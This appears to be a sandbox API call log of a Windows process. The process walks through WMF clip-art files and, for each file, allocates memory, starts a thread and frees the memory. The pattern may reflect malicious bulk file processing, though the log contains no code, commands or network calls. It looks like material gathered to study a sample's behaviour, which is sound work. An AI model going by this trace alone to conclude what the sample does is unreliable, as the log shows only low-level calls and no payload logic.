	[0234.108] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1
	[0234.109] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12cc
	[0234.110] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.111] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1
	[0234.111] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d0
	[0234.113] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.113] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1
	[0234.114] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d4
	[0234.116] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.117] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1
	[0234.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d8
	[0234.119] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.120] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1
	[0234.120] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12dc
	[0234.123] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.123] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1
	[0234.123] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e0
	[0234.175] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.175] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1
	[0234.176] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e4
	[0234.178] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.179] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1
	[0234.179] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e8
	[0234.181] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.182] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1
	[0234.182] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ec
	[0234.184] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.185] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1
	[0234.185] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0
	[0234.187] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.187] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1
	[0234.188] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f4
	[0234.189] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.190] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1
	[0234.190] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f8
	[0234.192] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.193] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1
	[0234.193] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12fc
	[0234.195] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.195] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1
	[0234.195] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1300
	[0234.197] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.198] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1
	[0234.198] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1304
	[0234.200] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.200] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1
	[0234.201] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1308
	[0234.203] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.203] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1
	[0234.203] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130c
	[0234.206] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.207] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1
	[0234.207] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1310
	[0234.235] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.235] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1
	[0234.236] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1314
	[0234.237] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.238] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1
	[0234.238] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1318
	[0234.241] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.241] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1
	[0234.241] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x131c
	[0234.244] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.244] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1
	[0234.245] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1320
	[0234.246] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.247] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1
	[0234.247] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1324
	[0234.249] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.250] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1
	[0234.250] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1328
	[0234.252] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.253] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1
	[0234.253] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x132c
	[0234.255] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.255] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1
	[0234.255] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1330
	[0234.258] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.258] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1
	[0234.258] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1334
	[0234.261] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
